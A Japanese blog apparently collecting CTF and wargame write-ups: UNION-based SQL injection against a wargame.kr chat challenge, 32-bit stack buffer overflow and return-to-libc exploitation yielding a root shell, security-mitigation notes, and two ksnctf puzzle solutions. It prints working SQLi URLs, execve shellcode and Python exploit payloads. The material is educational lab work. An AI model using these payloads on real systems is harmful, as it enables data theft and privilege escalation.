union文を使ったSQLインジェクションを試す (wargame.kr web chatting, )
union文とは
union文とは複数のselect文の結果を統合するSQL文です。
union文の例:
「select 1,2」の結果の下に「select 3,4」の結果を付け足すのがunion文です。
データベースは列の数をそろえなければならないので指定するカラム数は同じでなければなりません。
union文を使ったSQLi
http://wargame.kr:8080/web_chatting/chat.php
wargame.krの問題を使ってSQLインジェクションを試してみます。
ログインするとチャット画面に移動し、下の入力から任意の文字を書き込めます。chromeの検証->networkを使用して書き込む際のネットワークパケットを観察すると、「chatview.php」と「chatlog.php」にアクセスしていることがわかります。
chatview.phpでは今まで自分が書き込んだ文字が表示されます。
chatview.phpのGETパラメータにsqlインジェクションを試してみます。
chatview.php?t=1&nil=53351 or 1=1 --
すると今までにchatに書き込まれた文字が一覧表示されました。ここから攻撃を仕掛けられそうです。以下のように入力します。
chatview.php?t=1&ni=53351%20union%20select%201,2,3,4,5%20--
すると最後のほうにunionでつなげた値を表示させることができました。カラムの 2列目は名前、3列目は書き込んだ内容、5列目にはIPアドレスが格納されているようです。
infomation.schemaテーブルを利用してまずはデータベースのテーブル名を全て調べます。
chatview.php?t=1&ni=53351%20union%20select%201,table_name,3,4,5 from information_schema.tables%20--
information.schemaにはデータベースの構成情報が含まれており、information.schema.tablesのtable__nameにはテーブル名の一覧が格納されています。
「chat_log_secret」という怪しいテーブルを見つけました。ここにフラグがありそうです。chat_log_secretのカラム名を調べたい場合、以下のように入力します。
chatview.php?t=1&ni=53351%20union%20select%201,column_name,3,4,5 from information_schema.columns where table_name="chat_log_secret"%20--
しかし攻撃文に「"」や「'」を入れてしまうとエラーが起きてしまいます。なので文字列はasciiコードに変換します。
chatview.php?t=1&ni=53351 union select 1,column_name,3,4,5 from information_schema.columns where table_name=0x636861745f6c6f675f736563726574 --
うまくいきました。テーブル名とカラム名がわかったのであとはその情報を抜き出すだけです。
chatview.php?t=1&ni=53351 union select 1,readme,3,4,5%20from chat_log_secret --
類題
バッファオーバーフローの攻撃手法いろいろ
*linux32ビット
1.1: 最も基本的なスタックバッファオーバーフロー
実行条件:
・DEP無効
・ASLR無効
・CANARY無効
*セキュリティ機構のおおまかな解説はここから
//bof1.c #include <stdio.h> #include <string.h> char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(int argc, char *argv[]) { char buf[32]; printf("shellcode is here: %p\n", shellcode); strcpy(buf, argv[1]); return 0; }
strcpy(buf, argv[1])としてしまうとbufの容量をこえたサイズの値がスタックに書き込まれてしまいます。スタックの底辺にあるリターンアドレスをうまいことshellcodeのアドレスに書き換えられれば不正にシェルを起動できます。
これを以下のようにコンパイルします。
gcc -fno-stack-protector -z execstack -o bof1 bof1.c
また、「sudo sysctl -w kernel.randomize_va_space=0」でASLRも無効にします。
このプログラムにsuidビットを付与します。suidビットが与えられたプログラムはルート権限で動作します。
sudo chown root bof1 sudo chmod u+s bof1
普通に実行すると以下の結果が得られます。
aithea@ubuntu:~/bof$ ./bof1 abcd shellcode is here: 0x8048530
バッファからリターンアドレスのオフセットを調べる
うまくリターンアドレスを書き換えるにはbufからリターンアドレスまでどれくらい距離があるかを調べる必要があります。gdb-pedaのpattc とpattoを使うと便利です。
gdb-peda$ pattc 50 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA' gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA' shellcode is here: 0x8048530 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xffffd580 ("AAaAA0AAFAAbA") EDX: 0xffffd315 ("AAaAA0AAFAAbA") ESI: 0xf7f99000 --> 0x1d9d6c EDI: 0xf7f99000 --> 0x1d9d6c EBP: 0x41304141 (b'AA0A') ESP: 0xffffd320 --> 0x4162 (b'bA') EIP: 0x41414641 (b'AFAA') [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414641 [------------------------------------stack-------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] 0x41414641 in ?? () gdb-peda$ patto AFAA AFAA found at offset: 44
「pattc 50」で50個の文字を生成し、それを引数としてbof1を実行します。すると「Invalid $PC address: 0x41414641」と返ってくるので「patto AFAA」(41414641 = AFAA)と入力してpattcで出力した文字列の中で、AFAAが出てくるまでのオフセットを調べることができます。ここではオフセットは44でした。これがバッファとリターンアドレスのオフセットになります。
いまシェルコードのアドレスが0x8048530だとわかっているので1~44番目に適当な文字列を送り、45~48番目に「\x30\x85\x04\x08」を送ればシェルコードが動作します。
aithea@ubuntu:~/bof$ ./bof1 $(python -c "print 'A'*44+'\x30\x85\x04\x08'") shellcode is here: 0x8048530 # whoami root
管理者権限を手に入れればほぼ何でもできます。
1.2 :Return-to-libc
1.1のやり方だとDEPが有効になっている場合、shellcodeを実行できなくなります(shellcodeがデータ領域にあるため)。しかし共有ライブラリは実行する必要があるため、DEPによる影響を受けません。そのためshellcodeの代わりに共有ライブラリのアドレスをリターンアドレスに書き込みます。この攻撃をReturn-to-libcといいます。ここではこの手法をつかってsystem("/bin/bash")を呼び出してみます。プログラムは1-1と同じものを使用しますが、DEPだけ有効にします。
gcc -fno-stack-protector -o bof1 bof1.c
攻撃を成功させるためには次のようにスタックを書き換える必要があります。
(スタック上位)
・(適当な文字列)*44
・system関数のアドレス
・system関数呼び出し後の戻りアドレス
・文字列「/bin/bash」を指すアドレス
(スタック下位)
まずsystem関数のアドレスを調べます。これにはgdbを使います。
(gdb) b main Breakpoint 1 at 0x8048417 (gdb) r Starting program: /home/aithea/bof/bof1 Breakpoint 1, 0x08048417 in main () (gdb) p system $1 = {<text variable, no debug info>} 0xb7e63170 <system>
ここではsystem関数は「0xb7e63170」にあります。
system関数呼び出し後の戻りアドレスは、割とどうでもいいので適当な文字列で埋めることにします。
続いて/bin/bashへのアドレスを見つけます。環境変数$SHELLにはふつう「SHELL=/bin/bash」という文字列が格納されています。そして環境変数はプログラムの実行と同時にメモリにロードされるので参照することが可能です。環境変数はスタックの下位にあります。
(gdb) x/1000s $ebp . . . 0xbffff53e: "/home/aithea/bof/bof1" 0xbffff554: 'A' <repeats 44 times>, "p1\346\267AAAA\321\365\377\277" 0xbffff58d: "SSH_AGENT_PID=4093" 0xbffff5a0: "GPG_AGENT_INFO=/tmp/keyring-NUF3zS/gpg:0:1" 0xbffff5cb: "TERM=xterm" 0xbffff5d6: "SHELL=/bin/bash" 0xbffff5e6: "XDG_SESSION_COOKIE=452f0eaf8cd11d01ec673ada00000008-1548749778.608052-1887273046" 0xbffff637: "WINDOWID=58720261" . . .
ここでは0xbffff5dcに「/bin/bash」があります。
というわけで引数はこのようになります。
./bof1 $(python -c "print 'A'*44+'\x70\x31\xe6\xb7'+'A'*4+'\xdc\xf5\xff\xbf';")
ただ/bin/bashだと成功したのかわかりずらく、実行するごとになぜか微妙にアドレスの位置がずれるので良い方法とは言えません。なので次はsystem("/bin/sh")を呼び出します。
/bin/shを起動する
/bin/shという文字列は共有ライブラリの中にあります。
(gdb) info proc mappings process 5607 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/aithea/bof/bof1 0x8049000 0x804a000 0x1000 0x0 /home/aithea/bof/bof1 0x804a000 0x804b000 0x1000 0x1000 /home/aithea/bof/bof1 0xb7e25000 0xb7e26000 0x1000 0x0 0xb7e26000 0xb7fc5000 0x19f000 0x0 /lib/i386-linux-gnu/libc-2.15.so 0xb7fc5000 0xb7fc7000 0x2000 0x19f000 /lib/i386-linux-gnu/libc-2.15.so 0xb7fc7000 0xb7fc8000 0x1000 0x1a1000 /lib/i386-linux-gnu/libc-2.15.so 0xb7fc8000 0xb7fcb000 0x3000 0x0 0xb7fdb000 0xb7fdd000 0x2000 0x0 0xb7fdd000 0xb7fde000 0x1000 0x0 [vdso] 0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.15.so 0xb7ffe000 0xb7fff000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.15.so 0xb7fff000 0xb8000000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.15.so 0xbffdf000 0xc0000000 0x21000 0x0 [stack] (gdb)
libcは0xb7e26000から始まっています。
aithea@ubuntu:~/bof$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" 15cbe3 /bin/sh
stringsの-aでファイル全体のスキャン、-txで先頭からの位置を16進数で示します。0xb7e26000 + 0x15cbe3 = 0xb7f82be3が/bin/shを指すアドレスだとわかりました。
(gdb) x/s 0xb7f82be3 0xb7f82be3: "/bin/sh"
ありますね。
以上から以下のように実行します。
aithea@ubuntu:~/bof$ ./bof1 $(python -c "print 'A'*44+'\x70\x31\xe6\xb7'+'A'*4+'\xe3\x2b\xf8\xb7';") shellcode is here: 0x8048530 # whoami root #
かっこよくコードに書き直すとこんな感じ
import struct from subprocess import Popen code = 'A'*44 #適当な文字列 code += struct.pack('<I', 0xb7e63170) #system関数のアドレス(リトルエンディアンのバイナリに変換する) code += 'A'*4 #system関数を呼び出した後の戻りアドレス(どうでもいいのでAで埋める) code += struct.pack('<I', 0xb7f82be3) #/bin/shのアドレス p = Popen(['./bof1', code]) #codeを引数としてbof1を実行 p.wait()
実行結果
aithea@ubuntu:~/bof$ python bof1.py shellcode is here: 0x8048530 #
そのうち書式文字列攻撃についてもまとめたいと思います。
参考
ファイル実行時のセキュリティ機構まとめ
どれがどれだかよくわからなくなるのでメモ。
①ASLR
実行時のスタック・ヒープ・共有ライブラリなどのアドレスをランダム化します。アドレスが予測できなくなるので攻撃は難しくなります。これを無効にするには「sudo sysctl -w kernel.randomize_va_space=0」を実行します。
②DEP
実行する必要のない(スタックやヒープ領域やbss領域のデータ)の実行を禁止します。データ領域にシェルコードなんかが埋め込まれていて、参照できたとしても実行できずにエラーになります。
しかしreturn-to-libc攻撃などは防止できません。gccの場合「gcc -z execstack」を付与することでDEPが無効になります。
③PIE(位置独立コード)
メモリ内のどこに置かれても実行できるようになります。
④RELRO(RELocation ReadOnly)
メモリ上の領域に読み込み専用の属性をつけます。「Full RELRO」となっている場合、GOT overwriteができません。
⑤SSP(canary)
canaryと呼ばれるランダムなデータをスタックに挿入することで、関数実行時にスタックバッファオーバーフローを検知できます。gccの場合「gcc -fno-stack-protector」を付与することでSSPが無効になります。
⑤ascii-armor
コードを0x00から始まるアドレスに置くことでreturn-to-libcやformat string attackをしづらくなります。
ksnctf 28 Lo-Tech Cipher
ksnctf 25 Reserved
ppencode
これはppencodeというperlの予約語を使った難読化の技術らしいです。このままでもperlで普通に実行できてしまいます。
最初の方だけ解説すると、
print chr ord uc qw q flock q
ここで「FLAG_」の「F」が出力されています。
q flock q
perlでqはシングルクォーテーションを意味します。'flock'です。
qw q flock q
qw演算子は空白文字で区切ったリストを作るものですがいまはflockしかないのでこの部分は変わらず'flock'になります。
uc qw q flock q
予約語「uc」で'flock'を大文字の'FLOCK'に変換します。
chr ord uc qw q flock q
「ord」で'FLOCK'から一文字取り出してASCIIコードに変換(70)、そして「chr」で再び文字に変換して「print」で'F'を出力という流れ。このような処理を繰り返してFLAGが出力されます。
ksnctf 24 Rights out
ksnctf 22 Square Cipher
ksnctf.sweetduet.info 問題文の31×31のアルファベットはQRコードを表しています。小文字が白い部分、大文字が黒い部分です。
アルファベットをQRコードに直す
QRコード作成には画面描画に特化した言語であるProcessingを使います。
final int size = 10; //QRコードのサイズを指定 background(255); size(310, 310); fill(0); String cipher = "oomktvziqtaovmmpxzoqrzsxlpwpgojuDQEMISYnnVYnvyWRhHsDXnSCXAVVZjtZbknedErdpvAwQWpUiLqOxIqpafvXpdXoAVWcKppbEPuaqmXWjXJwRoRFOoEgpDiRUXlQjKJlslskVpGwtljGyVJPxHvbQsQNKxCsdYMdQPJiBmyrsuOrJQOtXgpMekeinUaMoDXqFzweLKipkBuggnsUveQFYCJSKfBgHaJgZnZoWmOmAOJLVQHihljrplajyKNXtwmfOjRwOqcqeeplyzygkFOltsOyrPgIaerIaSjQQaVMyEhfydvEaRHbBzfrcwJbCZmHdddLpuEJwspbtsXQGkwpKaTZmWJiZzpbkpHNiToawxKnwJpIKbGhnLjVAJNcxrqkKEJCKCOocSvmTRDNDpFtRUmcHoRELeSqXoGUIIsuYuajeHaSVlQGLaEprSQarDzTomJdAWfqbzIJLHRBXMvNDegYeaoVRDuWBbdSBtLvxIeKdAYwajGHMgRLDGgDinBiLNBgatbkHepNsCQSJjTRmQrCHYWJqIPOVAUOerrvhmZfmogPglGNuLyAuSivBctlvVfzbqBJdHUkSaTArlgkhtHPyGhXOPkwmkBqrvbzZfwvLtTnhyXVHPlwsuGZQnNiNcmyCMtAVwYVgtZHVNznolGMBETIHFmoWjwfezbysbvOzsAhxSZFFAfOouyHldEYhgNHKKSFUtcUxfRyXHMugYBtAxBwDJZhrHmsozuNeoJqyzMDHsNbUDwzaNLtdxrbVmQMHyNndOWCZLnhrPxZXCYLDTWQreaSiEEJjZtoRpUzgsxsiiGzvnRpKLMrkqTzGCKvNhUhjrmCjAdwQAvkgqHyJZLmsSxzwjxAnWesTszIxirRwcWIXUPtwwanTDEMTRGyhzdCtkTTDWbxdSjsNYlfXzeawtidzosgaofjxxyfcdoiulemirqap"; int i,j; char c1; for(i=0; i < 31; i++){ for(j=0; j < 31; j++){ c1 = cipher.charAt(i*31 + j); if(int(c1) < 97){ //大文字なら四角形を描画 rect(j*size, i*size, size, size); } } }
実行結果
Processingのすすめ
Processing.org
Processingは、
・「おまじない」がなくわかりやすい
・実行方法が簡単でコンパイルが高速
・文法がJavaベースなので癖がなく理解しやすい
・簡単に画面描画できるため楽しい(ゲームとかもすぐ作れる)
等の強みがあり、初心者にもおすすめです。